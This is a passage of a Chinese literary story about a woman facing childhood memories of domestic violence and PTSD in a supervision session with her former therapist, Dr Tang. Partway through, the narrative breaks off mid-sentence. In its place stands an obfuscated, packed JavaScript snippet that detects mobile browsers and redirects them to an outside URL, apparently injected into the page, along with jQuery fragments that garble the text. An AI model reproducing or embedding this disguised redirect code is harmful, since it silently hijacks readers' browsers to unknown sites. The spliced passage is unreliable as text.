她的岁数,其实还不太懂得什么是离婚,只是模模糊糊地知道这个词,也许能让这一切不再发生。
床上的雕塑终于转了转眼珠,她微微侧头,看了看旁边同样狼狈不堪的小女孩,良久,微弱地说:“不,我不离婚。”
转过头去,又变成了一个雕塑,仿佛没有了生命气息。
小女孩低下了头,对这样的回答似乎早已麻木。
我不能离婚。
为了你们,我不会离婚,不然人家会笑你们的。
小女孩茫然地想:为了我,我是谁?我为什么存在?如果没有我……
她呆呆地看着床上的雕塑,阴影笼罩了雕塑黯淡无光的眼睛,在她的头顶慢慢聚成一双黑色的翅膀,像是黑夜坟地里的死亡信号,狞笑又笃定的,从某个时空徐徐飞起,又将在某个节点毫无争议的降临。
这会是雕塑宿命般的结局,小女孩想。
她的身体微微颤抖,时间像被封住的琥珀。
黑色的潮水从阴暗的屋子里蔓延,吞没她僵硬的脚踝与膝盖,再攀上胸口,直至彻底淹没眼耳口鼻。
待最后一丝呼吸被冰封,她化作一尊巨大的冰雕,冰层愈发幽深,在黑暗中拔节生长,最终,冰雕化作一双俯瞰的巨瞳,瞳孔里翻涌着吞噬她的黑色漩涡。
原来是这双黑色的眼睛。
神智一刹那清明,我拨开最辛辣那瓣洋葱,穿过巨猿与恶龙可怖的眼睛,朝着漩涡的中心走去,一阵又一阵的痛楚如潮水般涌上来,水里随处漂着尖尖的冰锥,像吃人鱼一般刺向皮肤。
“快跑”,疼痛叫着。
“不”,我看到了漩涡中心那个被遗忘的小女孩,我伸手朝她走去,水越来越深,坠入的黑暗渐渐淹没了意识。
“PTSD是指创伤性事件后,延迟出现并持续存在的精神障碍,对于创伤性事件有持续的重复体验,如回忆、错觉、幻觉、梦境等,或再次面临与创伤性事件有关的场景、人物等时,会触发相似的创伤点而感觉痛苦。”
那把柔和的声音再一次响起来:“主动触发创伤的脱敏治疗,能帮助大脑重新处理记忆,缓解痛苦情绪,改变身体因创伤产生的应激生理反应。”
“可是为什么我会遗忘那些记忆,要触发才能记起?”一个声音问。
“遗忘是保护也是防御,它们都是你潜意识当中最不想面对的,只有在恰当的时候,潜意识才会允许他们浮现出来。”
一阵微微的震动伴随着刺耳的铃声,我睁开了眼睛,窗外的光线已如水一般稀淡,我从椅子的缝隙抠起手机,摁断了不知名的电话号码,看看时间,指针快到7点。
我从通讯录的搜索栏中输入一个“唐”字,唐麦琪出现在列表当中,她曾经是我长达五年的心理咨询师,我后来考了心理咨询师时,也是她当我实习时的督导,她曾经在英国读博,大家都叫她Dr唐,不过她更喜欢别人叫她唐。
刚才脑海间那个柔和的声音是她,我们已经很长一段时间没有联系,此刻我突然非常想念她。
“唐,能排个时间给我吗?我想约一次督导。”
周五四点。
我坐在暗红的软皮沙发上,望向窗边轻垂着的白色暗纹纱帘,窗下面是一只红黑撞色的复古五斗柜,上面放着一台复古像喇叭花一样的留声机。
唐的咨询室风格一直没有改变。
“Anita,快三年不见了吧,最近怎么样?”她亲切地叫着我的英文名。
戴着老花眼镜的Dr唐一边翻着档案一边抬头冲我慈祥地微笑。
唐她早已经退休,除了部分学生以外甚少接个案。
“我两年前离了婚,有一段时间比较消沉,当时候没有找你,我想让自己在一种极为孤独的境地,看看自己在最黑暗的时候能不能摸索出一条道路。”
“然后呢?”
“我把自己切成很多片,每一片都拿到显微镜下观看,发现了许多我从来没看到的自己。”
“你这个比喻很妙,洋葱切片。”Dr唐幽默地笑了笑。
“你觉得自己接近了洋葱的核心吗?”她很慈爱地看着我。
“我不确定,我总以为快接近核心,但经常发现那仅仅只是比较刺激的一瓣,有时候觉得挺绝望。”
她笑了起来,微微的皱纹有种岁月堆叠的美:“如果你感到绝望,那就快到核心了。”
“所以这次你为什么而来?”她问。
“我们曾经讨论过什么是自由,多年前你曾告诉我,自由是多维度复杂的概念。”
很多人以为自由是想做什么就做什么想买什么就买什么,但那是一种误解,因为想做什么的意图可能不是出于自由的选择,想买什么的想法可能是被广告或商家操控。
「真正的自由是属于心灵的层次,它来自清晰的自我觉察。认识自由真正的本义并非一件容易的事,它是一个长期且深入的自我探索与成长过程。
每一次当你做一个决定的时候,你都可以问问自己,你的选择是出于自由还是其他的因素,你真的拥有自由选择的能力吗」
“我们当时只讨论了横向的层面,但是当我看到自己从过去某个桎梏中挣脱出来的时候,我理解到自由更深的意义,就像毛毛虫从壳中爬出来,他看到了壳以外的世界,脱掉那个壳对它来说就是一种自由。”
她细细地观察着我的表情,好一会才说:“你似乎进入了一个新的状态,你遇到了什么?”
“一位被长期家暴的来访者,触发了我的反移情。”
她专注地看着我,等待我的下文。
“我进入了我最不想面对过去,看到了那个一直被困住的自己,看到了一直以来的隔离和疏远,看到了那些被锁进深处的愤怒和恐惧,看到自己如何埋藏自己感受和意愿,而它们又是在每一个切片当中如何影响我的人生。”
她的身体微微往前倾,剪裁考究的驼色风衣给予一种让人信赖的感觉。
“你能看到这里一定很不容易。”
我想起那双差点被吞噬深渊一样的眼睛和巨大的猿龙黑影。
催眠其实最好需要一位催眠师在一旁,不然容易被带进不知名的领域,就像《盗梦空间》困住了柯布和茉尔的迷失域。
“你跟着我实习的时候就已经接过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837387|191120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不少家暴的个案,你都handle得很好,我很好奇,为什么这个案例会触动你,它有什么特别的地方?”
我闭上双眼,浮起的是张芝芸那双悲苦的双眸。
“执迷不悟。”
“你的感受?”
“弱小,无力拯救……”
“然后呢?你是怎么做的?”
“我看见了她,接纳了她的无能和她的无力。”
“很痛吧。”
“很痛,像被关在一口棺材里,氧气越来越少,越来越窒息,无法呼吸,我无法离开,像一只绝望的僵尸。”
唐沉默了好久。
“可是你还是爬出来了,很有力量,不是吗?”
“用尽最后一点力气。”
“那么当你从这个壳里爬出来时,你看到了什么?”
“看到了一点自由。”
“不,Anita,不只是自由。”她摇摇头。
“你看看,你吸纳了那个疼痛,它变成了你内在的一部分,那个痛使你成为一个更有勇气更完整的你。”
“我有勇气吗?我其实逃避了很久。”
“越接近核心越痛苦,你知道在洋葱的核心里有多么厚重巨大的覆盖物:焦虑、不安、羞耻、沮丧、悲伤、绝望、麻木、冷漠……,当你选择面对就是勇气,你早就是另一个版本的自己了,你为什么不肯去看见呢?”
我沉默着,思索着。
她留给我足够的思想空间才说:“当你看见,相信自己,你便也会相信他们,没有人需要被拯救。”
“就像你相信我一样吗?”
“是的,Anita,我永远相信你。”
我沉默了一会:“可是唐,我现在无法告诉你,我相信我自己。”
“真的吗?你真的不相信自己吗?”
“如果你不相信自己,你不会走到今天。你只是还没有觉察。”
“去觉察去成为,这是最后一个步骤,也是唯一的方法。”
告别时唐从抽屉中拿出了一个漂亮的印花纸盒递给我,我打开一看是一枚金漆底三角形的胸针,上面雕刻着一只蓝色的大眼睛,像在洞察一切的凝视前方。
“送你了,在美国圣多娜旅行时买的纪念品,觉得很适合你。”
“谢谢,这图案很特别,有什么意思吗?”
“嗯,你知道,那个地方聚集了从全世界来访的灵修者,据说那里有相当强的能量漩涡,这个图案是灵修者常用的一个连接宇宙图案,不过,我给它直接取的名字就叫看见,很适合你!”唐笑着回答。
我端详了一会,把它别到胸前:“太漂亮了,我会时时提醒自己的。”
没有人需要被拯救,只需要被看见。
或许,我对于他们来说,只是一双帮助他们看见真实的眼睛。
“我的开关门强迫症减缓了一点点,你是对的。”张芝芸挤出一点勉强的笑容。
“你再次预约我的时候我有些惊讶。”
她念《圣经》时的那一段犹如飞蛾扑火的神情历历在目。
她一怔。
“为什么?”